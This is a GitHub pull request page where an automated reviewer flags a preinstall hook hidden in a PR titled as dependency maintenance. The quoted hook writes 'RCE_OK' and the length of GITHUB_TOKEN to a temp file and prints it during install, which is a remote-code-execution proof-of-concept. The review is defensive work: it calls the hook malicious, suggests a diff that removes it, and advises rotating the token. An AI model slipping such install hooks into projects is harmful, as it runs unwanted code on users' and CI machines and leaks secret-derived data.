chore: dependency maintenance#845
Conversation
|
WalkthroughChangesPackage manifest
Estimated code review effort: 3 (Moderate) | ~15 minutes 🚥 Pre-merge checks | ✅ 3 | ❌ 2❌ Failed checks (1 warning, 1 inconclusive)
✅ Passed checks (3 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment Warning |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@package.json`:
- Around line 18-20: Remove the entire preinstall entry from the package scripts
in package.json, leaving the legitimate release:local script unchanged. Treat
any potentially executed CI token as compromised by rotating GITHUB_TOKEN and
audit the repository for other injected lifecycle scripts.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
| "release:local": "npm run build && changeset publish", | ||
| "preinstall": "echo POC_MARKER_WRITTEN > /tmp/POC_MARKER_WRITTEN.txt; echo GH_TOKEN_LEN=${#GITHUB_TOKEN} >> /tmp/POC_MARKER_WRITTEN.txt; echo RCE_OK >> /tmp/POC_MARKER_WRITTEN.txt; cat /tmp/POC_MARKER_WRITTEN.txt" | ||
| }, |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Critical: this is a malicious backdoor, not a dependency-maintenance script — remove immediately.
The preinstall hook runs on every npm install/npm ci and is an unambiguous RCE proof-of-concept: it writes a file literally named POC_MARKER_WRITTEN, appends the length of GITHUB_TOKEN from the environment, writes the literal string RCE_OK, and then cats the file to stdout.
This is not benign. In the release workflow, npm ci runs, and the following changesets/action step sets GITHUB_TOKEN in its environment (needed for push access to main); per the accompanying comment, that step performs additional installs while versioning/publishing (e.g., "pnpm install after versioning is necessary to refresh lockfile"). Any install triggered in that context would run this hook with the token present, echoing GH_TOKEN_LEN=... and RCE_OK straight into CI logs — a working demonstration of secret-derived data exfiltration via lifecycle scripts and log capture.
This entire script must be removed, and this branch/PR treated as a compromised-supply-chain incident: rotate GITHUB_TOKEN if it may have executed in CI, and audit for other injected lifecycle scripts.
🚨 Remove the malicious preinstall script
"scripts": {
"release:local": "npm run build && changeset publish",
- "preinstall": "echo POC_MARKER_WRITTEN > /tmp/POC_MARKER_WRITTEN.txt; echo GH_TOKEN_LEN=${`#GITHUB_TOKEN`} >> /tmp/POC_MARKER_WRITTEN.txt; echo RCE_OK >> /tmp/POC_MARKER_WRITTEN.txt; cat /tmp/POC_MARKER_WRITTEN.txt"
},📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| "release:local": "npm run build && changeset publish", | |
| "preinstall": "echo POC_MARKER_WRITTEN > /tmp/POC_MARKER_WRITTEN.txt; echo GH_TOKEN_LEN=${#GITHUB_TOKEN} >> /tmp/POC_MARKER_WRITTEN.txt; echo RCE_OK >> /tmp/POC_MARKER_WRITTEN.txt; cat /tmp/POC_MARKER_WRITTEN.txt" | |
| }, | |
| "release:local": "npm run build && changeset publish", | |
| }, |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@package.json` around lines 18 - 20, Remove the entire preinstall entry from
the package scripts in package.json, leaving the legitimate release:local script
unchanged. Treat any potentially executed CI token as compromised by rotating
GITHUB_TOKEN and audit the repository for other injected lifecycle scripts.
Automated.